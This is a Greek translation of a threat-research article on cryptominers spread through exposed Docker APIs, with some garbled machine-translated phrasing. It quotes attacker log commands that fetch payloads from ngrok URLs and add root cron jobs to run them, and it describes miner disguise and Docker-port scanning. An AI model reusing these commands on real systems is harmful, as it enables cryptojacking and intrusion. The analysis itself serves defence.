Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων

Αναλύσαμε τα δεδομένα που συλλέχθηκαν χρησιμοποιώντας δοχεία honeypot, τα οποία δημιουργήσαμε για την παρακολούθηση των απειλών. Και εντοπίσαμε σημαντική δραστηριότητα από ανεπιθύμητους ή μη εξουσιοδοτημένους εξορύκτες κρυπτονομισμάτων που αναπτύσσονται ως αδίστακτα κοντέινερ χρησιμοποιώντας μια εικόνα που δημοσιεύτηκε από την κοινότητα στο Docker Hub. Η εικόνα χρησιμοποιείται ως μέρος μιας υπηρεσίας που παρέχει κακόβουλους εξορύκτες κρυπτονομισμάτων.

Επιπλέον, εγκαθίστανται προγράμματα για εργασία με δίκτυα για να διεισδύσουν σε ανοιχτά γειτονικά κοντέινερ και εφαρμογές.

Αφήνουμε τα honeypot μας ως έχουν, δηλαδή με προεπιλεγμένες ρυθμίσεις, χωρίς κανένα μέτρο ασφαλείας ή μετέπειτα εγκατάσταση πρόσθετου λογισμικού. Λάβετε υπόψη ότι το Docker έχει συστάσεις για την αρχική ρύθμιση για την αποφυγή σφαλμάτων και απλών τρωτών σημείων. Αλλά τα honeypots που χρησιμοποιούνται είναι κοντέινερ, σχεδιασμένα να ανιχνεύουν επιθέσεις που στοχεύουν στην πλατφόρμα μεταφοράς εμπορευματοκιβωτίων και όχι στις εφαρμογές μέσα στα κοντέινερ.

Η εντοπισμένη κακόβουλη δραστηριότητα είναι επίσης αξιοσημείωτη επειδή δεν απαιτεί τρωτά σημεία και είναι επίσης ανεξάρτητη από την έκδοση Docker. Η εύρεση μιας εσφαλμένα διαμορφωμένης και επομένως ανοιχτής εικόνας κοντέινερ είναι το μόνο που χρειάζονται οι εισβολείς για να μολύνουν πολλούς ανοιχτούς διακομιστές.

Το μη κλειστό Docker API επιτρέπει στον χρήστη να εκτελέσει ένα ευρύ φάσμα της ομάδας, συμπεριλαμβανομένης της λήψης μιας λίστας κοντέινερ που εκτελούνται, της λήψης αρχείων καταγραφής από ένα συγκεκριμένο κοντέινερ, της εκκίνησης, της διακοπής (συμπεριλαμβανομένων των αναγκαστικών) και ακόμη και της δημιουργίας ενός νέου κοντέινερ από μια συγκεκριμένη εικόνα με καθορισμένες ρυθμίσεις.

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων
Στα αριστερά βρίσκεται η μέθοδος παράδοσης κακόβουλου λογισμικού. Στα δεξιά βρίσκεται το περιβάλλον του εισβολέα, το οποίο επιτρέπει την απομακρυσμένη προβολή εικόνων.

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων
Διανομή ανά χώρα 3762 ανοιχτών Docker API. Με βάση την αναζήτηση Shodan με ημερομηνία 12.02.2019/XNUMX/XNUMX

Επιλογές αλυσίδας επίθεσης και ωφέλιμου φορτίου

Η κακόβουλη δραστηριότητα εντοπίστηκε όχι μόνο με τη βοήθεια honeypots. Τα δεδομένα από το Shodan δείχνουν ότι ο αριθμός των εκτεθειμένων Docker API (βλ. δεύτερο γράφημα) έχει αυξηθεί από τότε που ερευνήσαμε ένα εσφαλμένο κοντέινερ που χρησιμοποιείται ως γέφυρα για την ανάπτυξη λογισμικού εξόρυξης κρυπτονομισμάτων Monero. Τον περασμένο Οκτώβριο (2018, τρέχοντα στοιχεία μπορείς να φαίνεσαι έτσι περίπου. μεταφράστης) υπήρχαν μόνο 856 ανοιχτά API.

Μια εξέταση των αρχείων καταγραφής honeypot έδειξε ότι η χρήση εικόνας κοντέινερ συσχετίστηκε επίσης με τη χρήση του ngrok, ένα εργαλείο για τη δημιουργία ασφαλών συνδέσεων ή την προώθηση της κυκλοφορίας από δημόσια προσβάσιμα σημεία σε συγκεκριμένες διευθύνσεις ή πόρους (για παράδειγμα localhost). Αυτό επιτρέπει στους εισβολείς να δημιουργούν δυναμικά URL κατά την παράδοση ωφέλιμου φορτίου σε έναν ανοιχτό διακομιστή. Ακολουθούν παραδείγματα κώδικα από τα αρχεία καταγραφής που δείχνουν κατάχρηση της υπηρεσίας ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Όπως μπορείτε να δείτε, τα μεταφορτωμένα αρχεία γίνονται λήψη από διευθύνσεις URL που αλλάζουν συνεχώς. Αυτές οι διευθύνσεις URL έχουν σύντομη ημερομηνία λήξης, επομένως δεν είναι δυνατή η λήψη ωφέλιμων φορτίων μετά την ημερομηνία λήξης.

Υπάρχουν δύο επιλογές ωφέλιμου φορτίου. Το πρώτο είναι ένα μεταγλωττισμένο ELF miner για Linux (που ορίζεται ως Coinminer.SH.MALXMR.ATNO) που συνδέεται με την πισίνα εξόρυξης. Το δεύτερο είναι ένα σενάριο (TrojanSpy.SH.ZNETMAP.A) που έχει σχεδιαστεί για την απόκτηση ορισμένων εργαλείων δικτύου που χρησιμοποιούνται για τη σάρωση περιοχών δικτύου και στη συνέχεια την αναζήτηση νέων στόχων.

Το σενάριο dropper ορίζει δύο μεταβλητές, οι οποίες στη συνέχεια χρησιμοποιούνται για την ανάπτυξη του εξόρυξης κρυπτονομισμάτων. Η μεταβλητή HOST περιέχει τη διεύθυνση URL όπου βρίσκονται τα κακόβουλα αρχεία και η μεταβλητή RIP είναι το όνομα αρχείου (στην πραγματικότητα, ο κατακερματισμός) του εξορύκτη που πρόκειται να αναπτυχθεί. Η μεταβλητή HOST αλλάζει κάθε φορά που αλλάζει η μεταβλητή κατακερματισμού. Το σενάριο προσπαθεί επίσης να ελέγξει ότι δεν εκτελούνται άλλοι εξορύκτες κρυπτονομισμάτων στον διακομιστή που δέχεται επίθεση.

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων
Παραδείγματα μεταβλητών HOST και RIP, καθώς και ένα απόσπασμα κώδικα που χρησιμοποιείται για τον έλεγχο ότι δεν εκτελούνται άλλοι εξορύκτες

Πριν ξεκινήσει το miner, μετονομάζεται σε nginx. Άλλες εκδόσεις αυτού του σεναρίου μετονομάζουν το miner σε άλλες νόμιμες υπηρεσίες που ενδέχεται να υπάρχουν σε περιβάλλοντα Linux. Αυτό είναι συνήθως αρκετό για να παρακάμψετε τους ελέγχους στη λίστα των διεργασιών που εκτελούνται.

Το σενάριο αναζήτησης έχει επίσης δυνατότητες. Λειτουργεί με την ίδια υπηρεσία URL για την ανάπτυξη των απαραίτητων εργαλείων. Μεταξύ αυτών είναι το δυαδικό zmap, το οποίο χρησιμοποιείται για τη σάρωση δικτύων και τη λήψη μιας λίστας ανοιχτών θυρών. Το σενάριο φορτώνει επίσης ένα άλλο δυαδικό αρχείο που χρησιμοποιείται για την αλληλεπίδραση με τις υπηρεσίες που βρέθηκαν και τη λήψη banner από αυτές για τον προσδιορισμό πρόσθετων πληροφοριών σχετικά με την υπηρεσία που βρέθηκε (για παράδειγμα, την έκδοσή της).

Το σενάριο προκαθορίζει επίσης ορισμένες περιοχές δικτύου προς σάρωση, αλλά αυτό εξαρτάται από την έκδοση του σεναρίου. Ορίζει επίσης τις θύρες προορισμού από τις υπηρεσίες —στην περίπτωση αυτή, το Docker— πριν από την εκτέλεση της σάρωσης.

Μόλις βρεθούν πιθανοί στόχοι, τα banner αφαιρούνται αυτόματα από αυτούς. Το σενάριο φιλτράρει επίσης στόχους ανάλογα με τις υπηρεσίες, τις εφαρμογές, τα στοιχεία ή τις πλατφόρμες ενδιαφέροντος: Redis, Jenkins, Drupal, MODX, Δάσκαλος Kubernetes, πελάτης Docker 1.16 και Apache CouchDB. Εάν ο σαρωμένος διακομιστής ταιριάζει με κάποιο από αυτά, αποθηκεύεται σε ένα αρχείο κειμένου, το οποίο οι εισβολείς μπορούν αργότερα να χρησιμοποιήσουν για μετέπειτα ανάλυση και πειρατεία. Αυτά τα αρχεία κειμένου μεταφορτώνονται στους διακομιστές των εισβολέων μέσω δυναμικών συνδέσμων. Δηλαδή, χρησιμοποιείται ξεχωριστή διεύθυνση URL για κάθε αρχείο, πράγμα που σημαίνει ότι η μετέπειτα πρόσβαση είναι δύσκολη.

Το διάνυσμα επίθεσης είναι μια εικόνα Docker, όπως φαίνεται στα επόμενα δύο κομμάτια κώδικα.

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων
Στην κορυφή βρίσκεται η μετονομασία σε νόμιμη υπηρεσία και στο κάτω μέρος είναι ο τρόπος με τον οποίο χρησιμοποιείται το zmap για τη σάρωση δικτύων

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων
Στην κορυφή υπάρχουν προκαθορισμένες περιοχές δικτύου, στο κάτω μέρος υπάρχουν συγκεκριμένες θύρες για αναζήτηση υπηρεσιών, συμπεριλαμβανομένου του Docker

Πώς το μη ιδιωτικό Docker API και οι δημόσιες εικόνες από την κοινότητα χρησιμοποιούνται για τη διανομή των εξορύξεων κρυπτονομισμάτων
Το στιγμιότυπο οθόνης δείχνει ότι η εικόνα alpine-curl έχει ληφθεί περισσότερες από 10 εκατομμύρια φορές

Με βάση το Alpine Linux και το curl, ένα εργαλείο CLI με αποδοτικότητα πόρων για τη μεταφορά αρχείων μέσω διαφόρων πρωτοκόλλων, μπορείτε να δημιουργήσετε Εικόνα Docker. Όπως μπορείτε να δείτε στην προηγούμενη εικόνα, αυτή η εικόνα έχει ήδη ληφθεί περισσότερες από 10 εκατομμύρια φορές. Ένας μεγάλος αριθμός λήψεων μπορεί να σημαίνει τη χρήση αυτής της εικόνας ως σημείο εισόδου. Αυτή η εικόνα ενημερώθηκε πριν από περισσότερους από έξι μήνες. Οι χρήστες δεν κατέβασαν άλλες εικόνες από αυτό το χώρο αποθήκευσης τόσο συχνά. Στο Docker σημείο εισόδου - ένα σύνολο εντολών που χρησιμοποιούνται για τη διαμόρφωση ενός κοντέινερ για να το τρέξει. Εάν οι ρυθμίσεις του σημείου εισόδου είναι λανθασμένες (για παράδειγμα, το κοντέινερ παραμένει ανοιχτό από το Διαδίκτυο), η εικόνα μπορεί να χρησιμοποιηθεί ως διάνυσμα επίθεσης. Οι εισβολείς μπορούν να το χρησιμοποιήσουν για να παραδώσουν ένα ωφέλιμο φορτίο εάν βρουν ένα εσφαλμένο ή ανοιχτό κοντέινερ που δεν υποστηρίζεται.

Είναι σημαντικό να σημειωθεί ότι αυτή η εικόνα (alpine-curl) από μόνη της δεν είναι κακόβουλη, αλλά όπως μπορείτε να δείτε παραπάνω, μπορεί να χρησιμοποιηθεί για την εκτέλεση κακόβουλων λειτουργιών. Παρόμοιες εικόνες Docker μπορούν επίσης να χρησιμοποιηθούν για την εκτέλεση κακόβουλων δραστηριοτήτων. Επικοινωνήσαμε με τον Docker και συνεργαστήκαμε μαζί τους για αυτό το θέμα.

συστάσεις

Λανθασμένη ρύθμιση λείψανα συνεχές πρόβλημα για πολλές εταιρείες, ειδικά εκείνες που εφαρμόζουν DevOps, επικεντρώθηκε στην ταχεία ανάπτυξη και παράδοση. Όλα επιδεινώνονται από την ανάγκη συμμόρφωσης με τους κανόνες ελέγχου και παρακολούθησης, την ανάγκη παρακολούθησης του απορρήτου των δεδομένων, καθώς και την τεράστια ζημιά από τη μη συμμόρφωσή τους. Η ενσωμάτωση του αυτοματισμού ασφαλείας στον κύκλο ζωής ανάπτυξης δεν σας βοηθά μόνο να βρείτε κενά ασφαλείας που διαφορετικά θα μπορούσαν να μην εντοπιστούν, αλλά σας βοηθά επίσης να μειώσετε τον περιττό φόρτο εργασίας, όπως την εκτέλεση πρόσθετων εκδόσεων λογισμικού για κάθε ευπάθεια ή εσφαλμένη διαμόρφωση μετά την ανάπτυξη μιας εφαρμογής.

Το περιστατικό που συζητείται σε αυτό το άρθρο υπογραμμίζει την ανάγκη να λαμβάνεται υπόψη η ασφάλεια από την αρχή, συμπεριλαμβανομένων των ακόλουθων συστάσεων:

  • Για διαχειριστές συστήματος και προγραμματιστές: Ελέγχετε πάντα τις ρυθμίσεις του API για να βεβαιωθείτε ότι όλα έχουν ρυθμιστεί ώστε να δέχονται αιτήματα μόνο από συγκεκριμένο διακομιστή ή εσωτερικό δίκτυο.
  • Ακολουθήστε την αρχή των ελάχιστων δικαιωμάτων: βεβαιωθείτε ότι οι εικόνες κοντέινερ είναι υπογεγραμμένες και επαληθευμένες, περιορίστε την πρόσβαση σε κρίσιμα στοιχεία (υπηρεσία εκκίνησης κοντέινερ) και προσθέστε κρυπτογράφηση στις συνδέσεις δικτύου.
  • Ακολουθηστε συστάσεις και ενεργοποιούν μηχανισμούς ασφαλείας, π.χ. από το Docker και ενσωματωμένο χαρακτηριστικά ασφαλείας.
  • Χρησιμοποιήστε την αυτοματοποιημένη σάρωση των χρόνων εκτέλεσης και των εικόνων για να λάβετε πρόσθετες πληροφορίες σχετικά με τις διεργασίες που εκτελούνται στο κοντέινερ (για παράδειγμα, για τον εντοπισμό πλαστογράφησης ή την αναζήτηση ευπαθειών). Ο έλεγχος εφαρμογών και η παρακολούθηση ακεραιότητας βοηθούν στην παρακολούθηση μη φυσιολογικών αλλαγών σε διακομιστές, αρχεία και περιοχές συστήματος.

Το Trendmicro βοηθά τις ομάδες DevOps να δημιουργούν με ασφάλεια, να κυκλοφορούν γρήγορα και να κυκλοφορούν οπουδήποτε. Trend Micro Hybrid Cloud Security Παρέχει ισχυρή, βελτιωμένη και αυτοματοποιημένη ασφάλεια σε όλη τη γραμμή DevOps ενός οργανισμού και παρέχει άμυνες πολλαπλών απειλών XGen για την προστασία του φόρτου εργασίας φυσικού, εικονικού και cloud κατά το χρόνο εκτέλεσης. Προσθέτει επίσης ασφάλεια κοντέινερ με Βαθιά ασφάλεια и Έξυπνος έλεγχος σε βάθος ασφαλείας, τα οποία σαρώνουν εικόνες κοντέινερ Docker για κακόβουλο λογισμικό και ευπάθειες σε οποιοδήποτε σημείο του αγωγού ανάπτυξης για να αποτρέψουν απειλές πριν από την ανάπτυξή τους.

Σημάδια συμβιβασμού

Σχετικά hash:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Επί Μάθημα βίντεο Docker Τα εξασκημένα ηχεία δείχνουν ποιες ρυθμίσεις πρέπει να γίνουν πρώτα για να ελαχιστοποιηθεί η πιθανότητα ή να αποφευχθεί εντελώς η εμφάνιση της κατάστασης που περιγράφεται παραπάνω. Και στις 19-21 Αυγούστου σε διαδικτυακή εντατική DevOps Tools & Cheats Μπορείτε να συζητήσετε αυτά και παρόμοια προβλήματα ασφάλειας με συναδέλφους και εκπαιδευτικούς σε ένα στρογγυλό τραπέζι, όπου όλοι μπορούν να μιλήσουν και να ακούσουν τον πόνο και τις επιτυχίες έμπειρων συναδέλφων.

Πηγή: www.habr.com

Προσθέστε ένα σχόλιο